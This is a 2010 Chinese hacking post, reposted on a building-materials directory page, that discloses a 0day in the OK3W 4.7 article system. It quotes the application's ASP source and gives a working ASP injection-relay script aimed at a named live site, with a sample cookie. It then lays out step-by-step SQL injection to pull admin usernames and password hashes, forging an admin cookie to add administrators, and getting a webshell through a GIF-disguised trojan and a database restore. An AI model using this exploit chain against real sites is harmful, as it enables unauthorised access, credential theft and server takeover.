九正建材网

企业商铺

新闻动态

OK3W文章管理系统漏洞0day

发布日期:2010-05-15 14:41:40 1038

发布日期:2010-05.123 
发布作者:黑小子
影响版本: OK3W4.7
官方地址: //www.ok3w.net/
漏洞描述: OK3W是一套文章管理系统,整套系统的程序结构是以自定义类来实现的,很有创意o(∩_∩)o...安全性还是比较好的,目前免费版4.7存在这个漏洞,官网也存在,不过不知道补了没,上次路过被发现了后台验证过程
 
 

Public Function AdminIsLogin()  If Trim(AdminName) = "" Then  AdminIsLogin = 0"没有登陆  Else  If AdminLogin(AdminName,AdminPwd,"IsCheck")<>-1 Then  AdminIsLogin = 0"Cookies错误  Else  AdminIsLogin = -1"已经登陆  End If  End If  End Function  Public Function AdminLogin(sAdminName,sAdminPwd,sType)  AdminName = sAdminName Sql = "select * from Ok3w_Admin where AdminName=? and AdminPwd=?" Set AdminCmd = Server.CreateObject("Adodb.Command")  AdminCmd.ActiveConnection = Conn  AdminCmd.CommandType = 1 AdminCmd.CommandText = Sql AdminCmd.Parameters.Append(AdminCmd.CreateParameter("@AdminName",200,1,50,sAdminName))  AdminCmd.Parameters.Append(AdminCmd.CreateParameter("@AdminPwd",200,1,50,sAdminPwd))  Set AdminRs = Server.CreateObject("Adodb.RecordSet")  Set AdminRs = AdminCmd.Execute  response.write sAdminName&" "&sAdminPwd&""  response.write AdminCmd.CommandText  Set AdminCmd = Nothing If AdminRs.Eof And AdminRs.Bof Then  AdminLogin = 1"用户名或密码错误  Else  If AdminRs("AdminLock") Then  AdminLogin = 2"用户被锁定  Else  Response.Cookies("Ok3w")("AdminId") = AdminRs("AdminId")  Response.Cookies("Ok3w")("AdminName") = AdminRs("AdminName")  Response.Cookies("Ok3w")("AdminPwd") = AdminRs("AdminPwd")  Response.Cookies("Ok3w")("GroupId") = AdminRs("GroupId")  If sType="IsLogin" Then Call AdminActionLog("成功登陆")  AdminLogin = -1"成功登陆  End If  End If  AdminRs.Close  Set AdminRs = Nothing response.write adminlogin  End Function  

本来我看到这里以为可以好不费力的拿下,基础过过关,这里登陆验证虽然是采用cookies验证,但是sql语句是用预编译的方式进行查询的,所以单引号这里是没用的,不能用万能密码。(感谢ninty大牛指点)
所以我们只能注入拿到密码了
看了他的加密方式,加密一次md5(32),取前16个字符,后16个字符分别加密md5(16),再合并(好像是这样的,反正就是解不出来)
只能拿到密码的密文和用户名进行cookies欺骗了
漏洞文件:
user_index.asp
调用了article类中的
下面段代码

 
 

Private Sub GetFormData()  Id = Request.QueryString("Id")  If Id = "" Then Id=GetMaxArticleID()+1  ChannelID = Request.QueryString("ChannelID")  ClassID = Request.Form("ClassID")  If ClassID="" Then  ClassID = -1  SortPath = "" Else  SortPath = Conn.Execute("select SortPath from Ok3w_Class where ID=" & ClassID)(0) " 这里没过滤classid  End If  Title = Request.Form("Title")  TitleColor = Request.Form("TitleColor")  TitleURL = Request.Form("TitleURL")  Keywords = Request.Form("Keywords")  Description = Request.Form("Description")  For i = 1 To Request.Form("Content").Count  ContentContent = Content & Request.Form("Content")(i)  Next  If Request.Form("eWebEditorUpFile") = "1" Then  ePATH_INFO = Request.ServerVariables("PATH_INFO")  eTmp = Split(ePATH_INFO,"/")  ePATH_INFO = "" For ee=0 To Ubound(eTmp)-2  ePATH_INFOePATH_INFO = ePATH_INFO + eTmp(ee) + "/"  Next  Content = Replace(Content,"../upfiles/","upfiles/")  Content = Replace(Content,"../editor/","editor/")  Content = Replace(Content,ePATH_INFO & "upfiles/","upfiles/")  Content = Replace(Content,ePATH_INFO & "editor/","editor/")  End If  Author = Request.Form("Author")  ComeFrom = Request.Form("ComeFrom")  AddTime = Request.Form("AddTime")  Inputer = Request.Form("Inputer")  If Inputer="" Then Inputer = Admin.AdminName  IsPass = Request.Form("IsPass")  If IsPass = "" Then IsPass = 0 IsPic = Request.Form("IsPic")  If IsPic = "" Then IsPic = 0 PicFile = Request.Form("PicFile")  IsTop = Request.Form("IsTop")  If IsTop = "" Then IsTop = 0 IsCommend = Request.Form("IsCommend")  If IsCommend = "" Then IsCommend = 0 IsDelete = Request.Form("IsDelete")  If IsDelete = "" Then IsDelete = 0 IsMove = Request.Form("IsMove")  If IsMove = "" Then IsMove = 0 IsPlay = Request.Form("IsPlay")  If IsPlay = "" Then IsPlay = 0 IsIndexImg = Request.Form("IsIndexImg")  If IsIndexImg = "" Then IsIndexImg = 0 IsUserAdd = Request.Form("IsUserAdd")  If IsUserAdd = "" Then IsUserAdd = 0 GiveJifen = Request.Form("GiveJifen")  If GiveJifen = "" Then GiveJifen = 0 vUserGroupID = Request.Form("vUserGroupID")  If vUserGroupID = "" Then vUserGroupID = 0 vUserMore = Request.Form("vUserMore")  If vUserMore = "" Then vUserMore = 0 vUserJifen = Request.Form("vUserJifen")  If vUserJifen = "" Then vUserJifen = 0 pMoodStr = Request.Form("pMoodStr")  If pMoodStr = "" Then pMoodStr = "0,0,0,0,0,0,0,0" Hits = Request.Form("Hits")  End Sub 
 

不过好像不知道再哪个文件调用中又把classid给cint掉了,所以实验中发现
id=1 and 1=1 报错:类型不匹配
id=1 and 1=2 报错:找不到结果集
只能根据报错信息来注入了,也就是说,要注入必须要报错,服务器屏蔽了错误信息就没办法注入了

注入过程:
注册一个用户,登陆,得到cookies
 
 

<%  JmdcwName=request("jmdcw")  " 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T]  JmStr="Title=111&Content=111111&UpFiles=&ComeFrom=%CE%D2%B5%C4%CD%F8%D5%BE&Author=%CE%D2%B5%C4%CD%F8%D5%BE&ClassID="&JmdcwName  JMUrl="//www.heimian.com/User_Index.asp?a=a_edit&b=save&a_id=28" "把localhost改为网址你的网址  JmRef="//www.heimian.com/6kbbs/bank.asp" JmCok="Ok3w=User%5FPassword=ed64d3bd1ad013789c2e6ee373a96d8b&User%5FName=gogolrq" "把这里换成你的cookies  JmCok=r e p l a c e(JmCok,chr(32),"%20")  JmStr=URLEncoding(JmStr)  response.write PostData(JMUrl,JmStr,JmCok,JmRef)  Function PostData(PostUrl,PostStr,PostCok,PostRef)  Dim Http  Set Http = Server.CreateObject("msxml2.serverXMLHTTP")  With Http  .Open "POST",PostUrl,False  .SetRequestHeader "Content-Length",Len(PostStr)  .SetRequestHeader "Content-Type","application/x-www-form-urlencoded"  .SetRequestHeader "Referer",PostRef  .SetRequestHeader "Cookie",PostCok  .Send PostStr  PostData = .ResponseBody  End With  Set Http = Nothing PostData =bytes2BSTR(PostData)  End Function  Function bytes2BSTR(vIn)  Dim strReturn  Dim I, ThisCharCode, NextCharCode  strReturn = "" For I = 1 To LenB(vIn)  ThisCharCode = AscB(MidB(vIn, I, 1))  If ThisCharCode < &H80 Then  strReturnstrReturn = strReturn & Chr(ThisCharCode)  Else  NextCharCode = AscB(MidB(vIn, I + 1, 1))  strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))  II = I + 1  End If  Next  bytes2BSTR = strReturn End Function  Function URLEncoding(vstrin)  strReturn="" Dim i  For i=1 To Len(vstrin)  ThisChr=Mid(vstrin,i,1)  if Abs(Asc(ThisChr))< &HFF Then  strReturnstrReturn=strReturn & ThisChr  Else  InnerCode=Asc(ThisChr)  If InnerCode<0 Then  InnerCodeInnerCode=InnerCode + &H10000  End If  Hight1=(InnerCode And &HFF00) \&HFF  Low1=InnerCode And &HFF  strReturnstrReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)  End if  Next  strReturn=Replace(strReturn,chr(32),"%20") "转换空格,如果网站过滤了空格,尝试用/**/来代替%20  strReturn=Replace(strReturn,chr(43),"%2B") "JMDCW增加转换+字符  "strReturn=Replace(strReturn,过滤字符,"转换为字符") "在此增加要过滤的代码  URLEncoding=strReturn End Function  %> 
复制代码

修改完之后,注入地址 url/jmdcw.asp?jmdcw=123 or 1=1
表名为ok3w_admin
字段adminname,adminpwd
得到账号和密码后
伪造cookies
 
 

Ok3w=AdminPwd=be4b3b08e33d66fc8b2759a05bf4e10e&AdminName=admin&GroupId=%2C1%2C2%2C3%2C4%2C5%2C6%2C&AdminId=16


adminpwd后面的改成密文
adminname后面的改成用户名
伪造cookies后
访问 //www.heimian.com/admin/sys_admin.asp 就可以增加一个新的管理员

----------------------------------------------------------------------------------------------------------
进入后台
数据库一般为asp格式的,有notdown表
上传无漏洞


备份功能:
被备份的原文件只能是原数据库,不能更改,更改的也没用
还原功能:
还原后的路径也不能更改,更改了也没用,这里可以得到数据库地址

利用:
先把原数据库备份,上传一个gif马,利用还原功能,还原成源数据库地址(一般为asp,不是asp就没戏了),得到shell
这时侯网站会访问不了,进入后请把备份数据库还原


本文转自 ☆★ 包罗万象网 ★☆ - //www.baoluowanxiang.com 转载请注明出处,侵权必究!
原文链接://www.baoluowanxiang.com/a/net-offense/loophole/2010/0514/794.html

站内搜索

产品分类

联系信息

联系人 宫旭慧 
座机电话 82685919 
联系地址 北京市海淀区高粱桥斜街44号 
其它联系 网页留言
扫一扫试试

关闭

包罗万象网
地址:北京市海淀区高粱桥斜街44号 技术支持:成都九正科技